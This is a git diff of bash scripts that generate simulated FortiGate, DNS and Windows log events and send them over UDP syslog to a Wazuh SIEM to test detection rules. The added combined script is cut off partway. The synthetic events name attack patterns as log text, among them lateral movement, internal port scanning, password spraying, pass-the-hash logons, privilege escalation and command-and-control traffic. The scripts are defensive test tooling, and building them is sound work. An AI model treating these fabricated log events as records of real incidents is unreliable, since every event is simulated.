-    "Multiple Authentication Success Across Hosts" \
148
-    "event_type=windows_auth_success event_id=4624 success=true user=\"ops.user\" src_ip=10.20.0.15 dst_host=db-02 dst_port=3389"
149
-  emit_c_usecase "C3-01" "C3" "high" "${WIN_HOST}" \
150
-    "Multiple Authentication Success Across Hosts" \
151
-    "event_type=windows_auth_success event_id=4624 success=true user=\"ops.user\" src_ip=10.20.0.15 dst_host=fs-01 dst_port=3389"
152
-
153
-  emit_c_usecase "C3-02" "C3" "high" "${WIN_HOST}" \
154
-    "SMB/RDP Lateral Burst Pattern" \
155
-    "event_type=windows_lateral_movement event_id=4624 success=true user=\"ops.user\" src_ip=10.20.0.15 dst_host=rdp-01 dst_port=3389"
156
-  emit_c_usecase "C3-02" "C3" "high" "${WIN_HOST}" \
157
-    "SMB/RDP Lateral Burst Pattern" \
158
-    "event_type=windows_lateral_movement event_id=4624 success=true user=\"ops.user\" src_ip=10.20.0.15 dst_host=smb-01 dst_port=445"
159
-  emit_c_usecase "C3-02" "C3" "high" "${WIN_HOST}" \
160
-    "SMB/RDP Lateral Burst Pattern" \
161
-    "event_type=windows_lateral_movement event_id=4624 success=true user=\"ops.user\" src_ip=10.20.0.15 dst_host=smb-02 dst_port=445"
162
-  emit_c_usecase "C3-02" "C3" "high" "${WIN_HOST}" \
163
-    "SMB/RDP Lateral Burst Pattern" \
164
-    "event_type=windows_lateral_movement event_id=4624 success=true user=\"ops.user\" src_ip=10.20.0.15 dst_host=rdp-02 dst_port=3389"
165
-
166
-  emit_c_usecase "C3-03" "C3" "critical" "${WIN_HOST}" \
167
-    "Admin Accessing Many Servers Rapidly" \
168
-    "event_type=windows_auth_success event_id=4624 success=true user=\"administrator\" is_admin=true src_ip=10.20.0.22 dst_host=adm-01 dst_port=3389"
169
-  emit_c_usecase "C3-03" "C3" "critical" "${WIN_HOST}" \
170
-    "Admin Accessing Many Servers Rapidly" \
171
-    "event_type=windows_auth_success event_id=4624 success=true user=\"administrator\" is_admin=true src_ip=10.20.0.22 dst_host=adm-02 dst_port=3389"
172
-  emit_c_usecase "C3-03" "C3" "critical" "${WIN_HOST}" \
173
-    "Admin Accessing Many Servers Rapidly" \
174
-    "event_type=windows_auth_success event_id=4624 success=true user=\"administrator\" is_admin=true src_ip=10.20.0.22 dst_host=adm-03 dst_port=3389"
175
-  emit_c_usecase "C3-03" "C3" "critical" "${WIN_HOST}" \
176
-    "Admin Accessing Many Servers Rapidly" \
177
-    "event_type=windows_auth_success event_id=4624 success=true user=\"administrator\" is_admin=true src_ip=10.20.0.22 dst_host=adm-04 dst_port=3389"
178
-  emit_c_usecase "C3-03" "C3" "critical" "${WIN_HOST}" \
179
-    "Admin Accessing Many Servers Rapidly" \
180
-    "event_type=windows_auth_success event_id=4624 success=true user=\"administrator\" is_admin=true src_ip=10.20.0.22 dst_host=adm-05 dst_port=3389"
181
-
182
-  # C3-04 scanning behavior: many destination ports from same source
183
-  for port in 80 88 135 139 389 443 445 464 636 1025 1433 1521 2049 2375 3306 3389 5432 5985 8080 8443; do
184
-    emit_c_usecase "C3-04" "C3" "medium" "${WIN_HOST}" \
185
-      "Internal Scanning Enumeration Behavior" \
186
-      "event_type=internal_scan src_ip=10.30.0.40 dst_host=10.30.10.$((RANDOM % 10 + 1)) dst_port=${port} action=connect_attempt"
187
-  done
188
-}
189
-
190
-emit_selected_set() {
191
-  local sel
192
-  sel="$(echo "${SELECTOR}" | tr '[:upper:]' '[:lower:]')"
193
-  case "${sel}" in
194
-    all)
195
-      emit_c1
196
-      emit_c2
197
-      emit_c3
198
-      ;;
199
-    c1|c1-*)
200
-      emit_c1
201
-      ;;
202
-    c2|c2-*)
203
-      emit_c2
204
-      ;;
205
-    c3|c3-*)
206
-      emit_c3
207
-      ;;
208
-    *)
209
-      emit_c1
210
-      emit_c2
211
-      emit_c3
212
-      ;;
213
-  esac
214
-}
215
-
216
-echo "starting proposal Appendix C log simulator"
217
-echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN}"
218
-echo "target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
219
-
220
-if [[ "${FOREVER}" == "true" ]]; then
221
-  echo "running forever with interval ${DELAY}s (Ctrl+C to stop)"
222
-  trap 'echo; echo "stopped"; exit 0' INT TERM
223
-  while true; do
224
-    emit_selected_set
225
-    sleep "${DELAY}"
226
-  done
227
-else
228
-  for ((i=1; i<=COUNT; i++)); do
229
-    emit_selected_set
230
-    if [[ "${i}" -lt "${COUNT}" ]]; then
231
-      sleep "${DELAY}"
232
-    fi
233
-  done
234
-  echo "done"
235
-fi

+ 0 - 356
scripts/send-wazuh-proposal-required-events.sh

@@ -1,356 +0,0 @@
1
-#!/usr/bin/env bash
2
-set -euo pipefail
3
-
4
-# Usage:
5
-#   scripts/send-wazuh-proposal-required-events.sh [selector] [count] [delay_seconds]
6
-#
7
-# selector:
8
-#   all | a1 | a2 | a3 | a4 | <usecase_id>
9
-#   example usecase_id: A2-01, A3-05, A4-24
10
-
11
-SELECTOR="${1:-all}"
12
-COUNT="${2:-1}"
13
-DELAY="${3:-0.3}"
14
-EVENT_DELAY="${EVENT_DELAY:-0.05}"
15
-DRY_RUN="${DRY_RUN:-0}"
16
-FOREVER="false"
17
-PROFILE="${PROFILE:-simulation}"
18
-
19
-for arg in "${@:4}"; do
20
-  case "${arg}" in
21
-    --forever)
22
-      FOREVER="true"
23
-      ;;
24
-    --profile=*)
25
-      PROFILE="${arg#*=}"
26
-      ;;
27
-    *)
28
-      echo "error: unexpected argument '${arg}'"
29
-      echo "usage: scripts/send-wazuh-proposal-required-events.sh [selector] [count] [delay_seconds] [--forever] [--profile=simulation|production]"
30
-      exit 1
31
-      ;;
32
-  esac
33
-done
34
-
35
-WAZUH_SYSLOG_HOST="${WAZUH_SYSLOG_HOST:-127.0.0.1}"
36
-WAZUH_SYSLOG_PORT="${WAZUH_SYSLOG_PORT:-514}"
37
-
38
-FGT_DEVNAME="${FGT_DEVNAME:-FGT80F-Branch01}"
39
-FGT_DEVID="${FGT_DEVID:-FGT80FTK20000001}"
40
-WIN_HOST="${WIN_HOST:-win-dc01}"
41
-DNS_HOST="${DNS_HOST:-dns-fw-01}"
42
-SIM_VPN_USER="${SIM_VPN_USER:-remote.user}"
43
-
44
-if ! [[ "${COUNT}" =~ ^[0-9]+$ ]] || [[ "${COUNT}" -lt 1 ]]; then
45
-  echo "error: count must be a positive integer"
46
-  exit 1
47
-fi
48
-
49
-if ! [[ "${DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
50
-  echo "error: delay must be numeric"
51
-  exit 1
52
-fi
53
-
54
-if ! [[ "${EVENT_DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
55
-  echo "error: EVENT_DELAY must be numeric"
56
-  exit 1
57
-fi
58
-
59
-if [[ "${PROFILE}" != "simulation" && "${PROFILE}" != "production" ]]; then
60
-  echo "error: profile must be simulation or production"
61
-  exit 1
62
-fi
63
-
64
-rand_public_ip() {
65
-  if [[ $((RANDOM % 2)) -eq 0 ]]; then
66
-    echo "198.51.100.$((RANDOM % 240 + 10))"
67
-  else
68
-    echo "203.0.113.$((RANDOM % 240 + 10))"
69
-  fi
70
-}
71
-
72
-rand_private_ip() {
73
-  echo "10.$((RANDOM % 20 + 10)).$((RANDOM % 200 + 1)).$((RANDOM % 240 + 10))"
74
-}
75
-
76
-rand_domain() {
77
-  echo "ioc-$((RANDOM % 9000 + 1000)).malicious.example"
78
-}
79
-
80
-emit_syslog() {
81
-  local msg="$1"
82
-  local sent="false"
83
-
84
-  if [[ "${DRY_RUN}" == "1" ]]; then
85
-    echo "[DRY_RUN $(date -u +'%Y-%m-%dT%H:%M:%SZ')] ${msg}"
86
-    return 0
87
-  fi
88
-
89
-  if command -v nc >/dev/null 2>&1; then
90
-    if printf "%s\n" "${msg}" | nc -u -w1 "${WAZUH_SYSLOG_HOST}" "${WAZUH_SYSLOG_PORT}"; then
91
-      sent="true"
92
-    fi
93
-  fi
94
-
95
-  if [[ "${sent}" != "true" ]]; then
96
-    if printf "%s\n" "${msg}" >"/dev/udp/${WAZUH_SYSLOG_HOST}/${WAZUH_SYSLOG_PORT}" 2>/dev/null; then
97
-      sent="true"
98
-    fi
99
-  fi
100
-
101
-  if [[ "${sent}" != "true" ]]; then
102
-    echo "error: failed to send syslog event to ${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
103
-    return 1
104
-  fi
105
-
106
-  echo "[$(date -u +'%Y-%m-%dT%H:%M:%SZ')] sent: ${msg}"
107
-}
108
-
109
-selector_matches() {
110
-  local id="$1"
111
-  local section="$2"
112
-  local sel
113
-  sel="$(echo "${SELECTOR}" | tr '[:upper:]' '[:lower:]')"
114
-  local idl
115
-  idl="$(echo "${id}" | tr '[:upper:]' '[:lower:]')"
116
-  local sec
117
-  sec="$(echo "${section}" | tr '[:upper:]' '[:lower:]')"
118
-
119
-  [[ "${sel}" == "all" || "${sel}" == "${sec}" || "${sel}" == "${idl}" ]]
120
-}
121
-
122
-emit_fgt_usecase() {
123
-  local id="$1"
124
-  local section="$2"
125
-  local severity="$3"
126
-  local usecase="$4"
127
-  local body="$5"
128
-
129
-  selector_matches "${id}" "${section}" || return 0
130
-
131
-  local tags
132
-  if [[ "${PROFILE}" == "production" ]]; then
133
-    tags="soc_mvp_test=true source=fortigate severity=${severity}"
134
-  else
135
-    tags="soc_mvp_test=true source=fortigate section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\""
136
-  fi
137
-  emit_syslog "<190>date=$(date '+%Y-%m-%d') time=$(date '+%H:%M:%S') devname=\"${FGT_DEVNAME}\" devid=\"${FGT_DEVID}\" eventtime=$(date +%s) vd=\"root\" ${tags} ${body}"
138
-  sleep "${EVENT_DELAY}"
139
-}
140
-
141
-emit_dns_usecase() {
142
-  local id="$1"
143
-  local section="$2"
144
-  local severity="$3"
145
-  local usecase="$4"
146
-  local body="$5"
147
-
148
-  selector_matches "${id}" "${section}" || return 0
149
-
150
-  local tags
151
-  if [[ "${PROFILE}" == "production" ]]; then
152
-    tags="soc_mvp_test=true source=dns severity=${severity}"
153
-  else
154
-    tags="soc_mvp_test=true source=dns section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\""
155
-  fi
156
-  emit_syslog "<189>$(date '+%b %d %H:%M:%S') ${DNS_HOST} ${tags} ${body}"
157
-  sleep "${EVENT_DELAY}"
158
-}
159
-
160
-emit_windows_usecase() {
161
-  local id="$1"
162
-  local section="$2"
163
-  local severity="$3"
164
-  local usecase="$4"
165
-  local body="$5"
166
-
167
-  selector_matches "${id}" "${section}" || return 0
168
-
169
-  local tags
170
-  if [[ "${PROFILE}" == "production" ]]; then
171
-    tags="soc_mvp_test=true source=windows severity=${severity}"
172
-  else
173
-    tags="soc_mvp_test=true source=windows section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\""
174
-  fi
175
-  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} ${tags} ${body}"
176
-  sleep "${EVENT_DELAY}"
177
-}
178
-
179
-emit_a1() {
180
-  local sip
181
-  local domain
182
-  local mip
183
-  sip="$(rand_private_ip)"
184
-  domain="$(rand_domain)"
185
-  mip="$(rand_public_ip)"
186
-
187
-  emit_dns_usecase "A1-01" "A1" "medium" \
188
-    "DNS Network Traffic Communicate to Malicious Domain" \
189
-    "event_type=ioc_dns_traffic src_ip=${sip} query=${domain} resolved_ip=${mip} action=blocked"
190
-
191
-  emit_dns_usecase "A1-02" "A1" "medium" \
192
-    "DNS Network Traffic Malicious Domain IOCs Detection" \
193
-    "event_type=ioc_domain_match src_ip=${sip} ioc_type=domain ioc_value=${domain} feed=threatintel_main confidence=high action=alert"
194
-}
195
-
196
-emit_a2() {
197
-  local pub
198
-  local sip
199
-  pub="$(rand_public_ip)"
200
-  sip="$(rand_private_ip)"
201
-
202
-  emit_fgt_usecase "A2-01" "A2" "high" "IPS IDS Network Traffic Allowed RDP from Public IPs" \
203
-    "logid=\"0000000013\" type=\"traffic\" subtype=\"forward\" srcip=${pub} dstip=${sip} dstport=3389 service=\"RDP\" action=\"accept\" policyid=44"
204
-
205
-  emit_fgt_usecase "A2-02" "A2" "high" "IPS IDS Firewall Account Admin Password Change" \
206
-    "logid=\"0100044547\" type=\"event\" subtype=\"system\" user=\"admin\" action=\"password-change\" target_account=\"admin\""
207
-
208
-  emit_fgt_usecase "A2-03" "A2" "high" "IPS IDS Firewall Account Create Add Admin Account" \
209
-    "logid=\"0100044548\" type=\"event\" subtype=\"system\" user=\"admin\" action=\"create-admin\" target_account=\"secops_admin\""
210
-
211
-  emit_fgt_usecase "A2-04" "A2" "high" "IPS IDS Firewall Configure Disabled Email Notification" \
212
-    "logid=\"0100044551\" type=\"event\" subtype=\"system\" action=\"config-change\" config_item=\"alertemail\" config_value=\"disable\""
213
-
214
-  emit_fgt_usecase "A2-05" "A2" "low" "IPS IDS Firewall Configure Download Configure FW" \
215
-    "logid=\"0100044552\" type=\"event\" subtype=\"system\" action=\"download-config\" user=\"admin\""
216
-
217
-  emit_fgt_usecase "A2-06" "A2" "medium" "IPS IDS IDS Alert Multiple Critical High" \
218
-    "logid=\"0720018432\" type=\"utm\" subtype=\"ips\" action=\"detected\" attack=\"Multiple.Critical.High.Signatures\" severity=\"high\" count=7"
219
-
220
-  emit_fgt_usecase "A2-07" "A2" "low" "IPS IDS Network Traffic Port Scanning" \
221
-    "logid=\"0720018433\" type=\"utm\" subtype=\"anomaly\" attack=\"TCP.Port.Scan\" srcip=${pub} dstip=${sip} action=\"detected\""
222
-
223
-  emit_fgt_usecase "A2-08" "A2" "medium" "IPS IDS Network Traffic IOC Detection" \
224
-    "logid=\"0720018434\" type=\"utm\" subtype=\"ips\" ioc_type=ip ioc_value=$(rand_public_ip) action=\"blocked\""
225
-
226
-  emit_fgt_usecase "A2-09" "A2" "medium" "IPS IDS Network Traffic Port Scanning from Private IP" \
227
-    "logid=\"0720018435\" type=\"utm\" subtype=\"anomaly\" attack=\"Internal.Port.Scan\" srcip=$(rand_private_ip) dstip=$(rand_private_ip) action=\"detected\""
228
-
229
-  emit_fgt_usecase "A2-10" "A2" "medium" "IPS IDS Network Traffic Communicate to Malicious IP" \
230
-    "logid=\"0000000013\" type=\"traffic\" subtype=\"forward\" srcip=$(rand_private_ip) dstip=$(rand_public_ip) threat_label=\"known-c2\" action=\"accept\""
231
-}
232
-
233
-emit_a3() {
234
-  local out_th
235
-  out_th="$(rand_public_ip)"
236
-
237
-  emit_fgt_usecase "A3-01" "A3" "high" "VPN Authentication Success from Guest Account" \
238
-    "logid=\"0101037131\" type=\"event\" subtype=\"vpn\" action=\"ssl-login-success\" user=\"guest\" srcip=${out_th} country=\"TH\""
239
-
240
-  emit_fgt_usecase "A3-02" "A3" "high" "VPN Authentication Success from Multiple Country" \
241
-    "logid=\"0101037132\" type=\"event\" subtype=\"vpn\" action=\"ssl-login-success\" user=\"${SIM_VPN_USER}\" srcip=${out_th} country=\"US\" previous_country=\"TH\""
242
-
243
-  emit_fgt_usecase "A3-03" "A3" "high" "VPN Authentication Brute Force Success" \
244
-    "logid=\"0101037133\" type=\"event\" subtype=\"vpn\" action=\"ssl-login-success\" user=\"${SIM_VPN_USER}\" srcip=${out_th} failed_attempts_before_success=18"
245
-
246
-  emit_fgt_usecase "A3-04" "A3" "low" "VPN Authentication Multiple Fail Many Accounts from One Source" \
247
-    "logid=\"0101037134\" type=\"event\" subtype=\"vpn\" action=\"ssl-login-fail\" srcip=${out_th} failed_accounts=12"
248
-
249
-  emit_fgt_usecase "A3-05" "A3" "high" "VPN Authentication Success from Outside Thailand" \
250
-    "logid=\"0101037135\" type=\"event\" subtype=\"vpn\" action=\"ssl-login-success\" user=\"${SIM_VPN_USER}\" srcip=${out_th} country=\"US\" expected_country=\"TH\""
251
-}
252
-
253
-emit_a4() {
254
-  emit_windows_usecase "A4-01" "A4" "medium" "Windows Authentication Multiple Fail from Privileged Account" \
255
-    "event_id=4625 account=\"administrator\" src_ip=$(rand_private_ip) fail_count=9"
256
-  emit_windows_usecase "A4-02" "A4" "medium" "Windows Authentication Multiple Fail from Service Account" \
257
-    "event_id=4625 account=\"svc_backup\" src_ip=$(rand_private_ip) fail_count=11"
258
-  emit_windows_usecase "A4-03" "A4" "medium" "Windows AD Enumeration with Malicious Tools" \
259
-    "event_id=4688 process=\"adfind.exe\" user=\"user1\" host=\"${WIN_HOST}\""
260
-  emit_windows_usecase "A4-04" "A4" "medium" "Windows Authentication Fail from Public IPs" \
261
-    "event_id=4625 account=\"user1\" src_ip=$(rand_public_ip) fail_count=4"
262
-  emit_windows_usecase "A4-05" "A4" "medium" "Windows File Share Enumeration to Single Destination" \
263
-    "event_id=5145 account=\"user1\" src_ip=$(rand_private_ip) share=\"\\\\\\\\fileserver\\\\finance\" object_count=87"
264
-  emit_windows_usecase "A4-06" "A4" "high" "Windows Authentication Success from Public IPs" \
265
-    "event_id=4624 account=\"user2\" src_ip=$(rand_public_ip) logon_type=10"
266
-  emit_windows_usecase "A4-07" "A4" "high" "Windows Authentication Privileged Account Impersonation" \
267
-    "event_id=4624 account=\"administrator\" impersonation=true source_account=\"user2\""
268
-  emit_windows_usecase "A4-08" "A4" "high" "Windows Authentication Successful Pass the Hash RDP" \
269
-    "event_id=4624 account=\"administrator\" logon_type=10 auth_package=\"NTLM\" pth_indicator=true"
270
-  emit_windows_usecase "A4-09" "A4" "high" "Windows Authentication Success from Guest Account" \
271
-    "event_id=4624 account=\"guest\" logon_type=3"
272
-  emit_windows_usecase "A4-10" "A4" "high" "Windows Authentication Interactive Logon Success by Service Account" \
273
-    "event_id=4624 account=\"svc_backup\" logon_type=2"
274
-  emit_windows_usecase "A4-11" "A4" "high" "Windows Account Added to Privileged Custom Group" \
275
-    "event_id=4732 account=\"user3\" target_group=\"SOC-Privileged-Custom\""
276
-  emit_windows_usecase "A4-12" "A4" "high" "Windows Account Added to Privileged Group" \
277
-    "event_id=4728 account=\"user3\" target_group=\"Domain Admins\""
278
-  emit_windows_usecase "A4-13" "A4" "high" "Windows Domain Configure DSRM Password Reset" \
279
-    "event_id=4794 account=\"administrator\" action=\"dsrm-password-reset\""
280
-  emit_windows_usecase "A4-14" "A4" "low" "Windows Authentication Multiple Fail One Account from Many Sources" \
281
-    "event_id=4625 account=\"user4\" src_count=15 fail_count=28"
282
-  emit_windows_usecase "A4-15" "A4" "low" "Windows Authentication Multiple Fail Many Accounts from One Source" \
283
-    "event_id=4625 src_ip=$(rand_private_ip) account_count=18 fail_count=42"
284
-  emit_windows_usecase "A4-16" "A4" "low" "Windows Authentication Multiple Fail from Guest Account" \
285
-    "event_id=4625 account=\"guest\" fail_count=9"
286
-  emit_windows_usecase "A4-17" "A4" "low" "Windows Authentication Multiple Fail One Account from One Source" \
287
-    "event_id=4625 account=\"user5\" src_ip=$(rand_private_ip) fail_count=10"
288
-  emit_windows_usecase "A4-18" "A4" "low" "Windows Authentication Multiple Interactive Logon Denied" \
289
-    "event_id=4625 account=\"user6\" logon_type=2 fail_count=7"
290
-  emit_windows_usecase "A4-19" "A4" "low" "Windows Authentication Password Spray" \
291
-    "event_id=4625 spray=true src_ip=$(rand_public_ip) attempted_accounts=25"
292
-  emit_windows_usecase "A4-20" "A4" "low" "Windows Authentication Attempt from Disabled Account" \
293
-    "event_id=4625 account=\"disabled.user\" status=\"0xC0000072\""
294
-  emit_windows_usecase "A4-21" "A4" "low" "Windows Domain Account Created" \
295
-    "event_id=4720 account=\"new.domain.user\" account_type=\"domain\""
296
-  emit_windows_usecase "A4-22" "A4" "low" "Windows Local Account Re Enabled" \
297
-    "event_id=4722 account=\"local.user\" account_type=\"local\""
298
-  emit_windows_usecase "A4-23" "A4" "low" "Windows Local Account Created" \
299
-    "event_id=4720 account=\"local.new\" account_type=\"local\""
300
-  emit_windows_usecase "A4-24" "A4" "low" "Windows Domain Account Re Enabled" \
301
-    "event_id=4722 account=\"domain.reenabled\" account_type=\"domain\""
302
-}
303
-
304
-emit_selected_set() {
305
-  local sel
306
-  sel="$(echo "${SELECTOR}" | tr '[:upper:]' '[:lower:]')"
307
-
308
-  case "${sel}" in
309
-    all)
310
-      emit_a1
311
-      emit_a2
312
-      emit_a3
313
-      emit_a4
314
-      ;;
315
-    a1|a1-*)
316
-      emit_a1
317
-      ;;
318
-    a2|a2-*)
319
-      emit_a2
320
-      ;;
321
-    a3|a3-*)
322
-      emit_a3
323
-      ;;
324
-    a4|a4-*)
325
-      emit_a4
326
-      ;;
327
-    *)
328
-      # Exact usecase selectors (e.g. A3-05) are handled by selector_matches.
329
-      emit_a1
330
-      emit_a2
331
-      emit_a3
332
-      emit_a4
333
-      ;;
334
-  esac
335
-}
336
-
337
-echo "starting proposal-required log simulator"
338
-echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN} profile=${PROFILE}"
339
-echo "target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
340
-
341
-if [[ "${FOREVER}" == "true" ]]; then
342
-  echo "running forever with interval ${DELAY}s (Ctrl+C to stop)"
343
-  trap 'echo; echo "stopped"; exit 0' INT TERM
344
-  while true; do
345
-    emit_selected_set
346
-    sleep "${DELAY}"
347
-  done
348
-else
349
-  for ((i=1; i<=COUNT; i++)); do
350
-    emit_selected_set
351
-    if [[ "${i}" -lt "${COUNT}" ]]; then
352
-      sleep "${DELAY}"
353
-    fi
354
-  done
355
-  echo "done"
356
-fi

+ 550 - 0
scripts/send-wazuh-sim-logs.sh

@@ -0,0 +1,550 @@
1
+#!/usr/bin/env bash
2
+set -euo pipefail
3
+
4
+# Combined Wazuh simulator script (single entrypoint)
5
+# Replays production-style sample logs from samples/*.log to Wazuh syslog UDP.
6
+#
7
+# Usage:
8
+#   scripts/send-wazuh-sim-logs.sh [selector] [count] [delay_seconds] [--forever] [--dry-run] [--no-mock] [--no-guarantee-hits] [--random-types] [--include-nonalerts] [--docker-send]
9
+#
10
+# Selectors:
11
+#   all
12
+#   a|b|c|appendix-a|appendix-b|appendix-c
13
+#   a1|a2|a3|a4|b1|b2|b3|c1|c2|c3
14
+#   A1-01, A2-10, B3-06, C1-01, ...
15
+
16
+SELECTOR="${1:-all}"
17
+COUNT="${2:-1}"
18
+DELAY="${3:-1}"
19
+shift $(( $# >= 3 ? 3 : $# )) || true
20
+
21
+FOREVER=0
22
+DRY_RUN="${DRY_RUN:-0}"
23
+MOCK_VALUES="${MOCK_VALUES:-1}"
24
+GUARANTEE_HITS="${GUARANTEE_HITS:-1}"
25
+RANDOM_TYPES="${RANDOM_TYPES:-0}"
26
+INCLUDE_NONALERTS="${INCLUDE_NONALERTS:-0}"
27
+DOCKER_SEND="${DOCKER_SEND:-0}"
28
+WAZUH_MANAGER_CONTAINER="${WAZUH_MANAGER_CONTAINER:-wazuh-single-wazuh.manager-1}"
29
+
30
+for arg in "$@"; do
31
+  case "$arg" in
32
+    --forever)
33
+      FOREVER=1
34
+      ;;
35
+    --dry-run)
36
+      DRY_RUN=1
37
+      ;;
38
+    --no-mock)
39
+      MOCK_VALUES=0
40
+      ;;
41
+    --mock)
42
+      MOCK_VALUES=1
43
+      ;;
44
+    --no-guarantee-hits)
45
+      GUARANTEE_HITS=0
46
+      ;;
47
+    --guarantee-hits)
48
+      GUARANTEE_HITS=1
49
+      ;;
50
+    --random-types)
51
+      RANDOM_TYPES=1
52
+      ;;
53
+    --include-nonalerts)
54
+      INCLUDE_NONALERTS=1
55
+      ;;
56
+    --docker-send)
57
+      DOCKER_SEND=1
58
+      ;;
59
+    -h|--help)
60
+      echo "usage: scripts/send-wazuh-sim-logs.sh [selector] [count] [delay_seconds] [--forever] [--dry-run] [--no-mock] [--no-guarantee-hits] [--random-types] [--include-nonalerts] [--docker-send]"
61
+      exit 0
62
+      ;;
63
+    *)
64
+      echo "error: unknown option '$arg'"
65
+      exit 1
66
+      ;;
67
+  esac
68
+done
69
+
70
+if ! [[ "$COUNT" =~ ^[0-9]+$ ]] || [ "$COUNT" -lt 1 ]; then
71
+  echo "error: count must be a positive integer"
72
+  exit 1
73
+fi
74
+
75
+if ! [[ "$DELAY" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
76
+  echo "error: delay_seconds must be numeric"
77
+  exit 1
78
+fi
79
+
80
+WAZUH_SYSLOG_HOST="${WAZUH_SYSLOG_HOST:-127.0.0.1}"
81
+WAZUH_SYSLOG_PORT="${WAZUH_SYSLOG_PORT:-514}"
82
+NC_WAIT_SECONDS="${NC_WAIT_SECONDS:-0}"
83
+STRICT_SEND="${STRICT_SEND:-1}"
84
+BASE_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
85
+SAMPLES_DIR="${BASE_DIR}/samples"
86
+
87
+normalize() {
88
+  printf '%s' "$1" | tr '[:upper:]' '[:lower:]'
89
+}
90
+
91
+is_valid_selector() {
92
+  local sel
93
+  sel="$(normalize "$1")"
94
+  case "$sel" in
95
+    all|a|b|c|appendix-a|appendix-b|appendix-c|a1|a2|a3|a4|b1|b2|b3|c1|c2|c3)
96
+      return 0
97
+      ;;
98
+    [abc][0-9]-[0-9][0-9])
99
+      return 0
100
+      ;;
101
+    *)
102
+      return 1
103
+      ;;
104
+  esac
105
+}
106
+
107
+selector_matches_tag() {
108
+  local selector tag sel tagl
109
+  selector="$1"
110
+  tag="$2"
111
+  sel="$(normalize "$selector")"
112
+  tagl="$(normalize "$tag")"
113
+
114
+  if [ -z "$tagl" ]; then
115
+    case "$sel" in
116
+      all|a|b|c|appendix-a|appendix-b|appendix-c)
117
+        return 0
118
+        ;;
119
+      *)
120
+        return 1
121
+        ;;
122
+    esac
123
+  fi
124
+
125
+  case "$sel" in
126
+    all)
127
+      return 0
128
+      ;;
129
+    a|appendix-a)
130
+      [[ "$tagl" == a* ]]
131
+      return
132
+      ;;
133
+    b|appendix-b)
134
+      [[ "$tagl" == b* ]]
135
+      return
136
+      ;;
137
+    c|appendix-c)
138
+      [[ "$tagl" == c* ]]
139
+      return
140
+      ;;
141
+    a1|a2|a3|a4|b1|b2|b3|c1|c2|c3)
142
+      [[ "$tagl" == "$sel"-* ]]
143
+      return
144
+      ;;
145
+    [abc][0-9]-[0-9][0-9])
146
+      [[ "$tagl" == "$sel" ]]
147
+      return
148
+      ;;
149
+    *)
150
+      return 1
151
+      ;;
152
+  esac
153
+}
154
+
155
+sample_files_for_selector() {
156
+  local sel
157
+  sel="$(normalize "$1")"
158
+  case "$sel" in
159
+    all)
160
+      echo "${SAMPLES_DIR}/appendix-a-production-samples.log"
161
+      echo "${SAMPLES_DIR}/appendix-b-production-samples.log"
162
+      echo "${SAMPLES_DIR}/appendix-c-production-samples.log"
163
+      ;;
164
+    a|appendix-a|a1|a2|a3|a4|a[0-9]-[0-9][0-9])
165
+      echo "${SAMPLES_DIR}/appendix-a-production-samples.log"
166
+      ;;
167
+    b|appendix-b|b1|b2|b3|b[0-9]-[0-9][0-9])
168
+      echo "${SAMPLES_DIR}/appendix-b-production-samples.log"
169
+      ;;
170
+    c|appendix-c|c1|c2|c3|c[0-9]-[0-9][0-9])
171
+      echo "${SAMPLES_DIR}/appendix-c-production-samples.log"
172
+      ;;
173
+    *)
174
+      echo "error: unsupported selector '$1'" >&2
175
+      return 1
176
+      ;;
177
+  esac
178
+}
179
+
180
+emit_syslog() {
181
+  local line="$1"
182
+  if [ "${DRY_RUN}" = "1" ]; then
183
+    echo "DRY_RUN -> ${line}"
184
+    return 0
185
+  fi
186
+
187
+  if [ "${DOCKER_SEND}" = "1" ]; then
188
+    if ! printf '%s\n' "${line}" | docker exec -i "${WAZUH_MANAGER_CONTAINER}" bash -lc 'cat > /dev/udp/127.0.0.1/514'; then
189
+      echo "send_failed target=${WAZUH_MANAGER_CONTAINER}:127.0.0.1:514/udp transport=docker-exec" >&2
190
+      if [ "${STRICT_SEND}" = "1" ]; then
191
+        return 1
192
+      fi
193
+    fi
194
+    return 0
195
+  fi
196
+
197
+  if command -v nc >/dev/null 2>&1; then
198
+    if ! printf '%s\n' "${line}" | nc -w "${NC_WAIT_SECONDS}" -u "${WAZUH_SYSLOG_HOST}" "${WAZUH_SYSLOG_PORT}"; then
199
+      echo "send_failed target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp transport=nc" >&2
200
+      if [ "${STRICT_SEND}" = "1" ]; then
201
+        return 1
202
+      fi
203
+    fi
204
+  else
205
+    if ! printf '%s\n' "${line}" >"/dev/udp/${WAZUH_SYSLOG_HOST}/${WAZUH_SYSLOG_PORT}"; then
206
+      echo "send_failed target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp transport=devudp" >&2
207
+      if [ "${STRICT_SEND}" = "1" ]; then
208
+        return 1
209
+      fi
210
+    fi
211
+  fi
212
+}
213
+
214
+rand_between() {
215
+  local min max
216
+  min="$1"
217
+  max="$2"
218
+  echo $(( min + RANDOM % (max - min + 1) ))
219
+}
220
+
221
+random_public_ip() {
222
+  local range last
223
+  range="$(rand_between 0 2)"
224
+  last="$(rand_between 2 254)"
225
+  case "$range" in
226
+    0) echo "198.51.100.${last}" ;;
227
+    1) echo "203.0.113.${last}" ;;
228
+    *) echo "192.0.2.${last}" ;;
229
+  esac
230
+}
231
+
232
+random_private_ip() {
233
+  echo "10.$(rand_between 10 30).$(rand_between 1 254).$(rand_between 1 254)"
234
+}
235
+
236
+random_user() {
237
+  local users=(
238
+    "admin01" "analyst01" "helpdesk01" "ops.admin" "jane.doe"
239
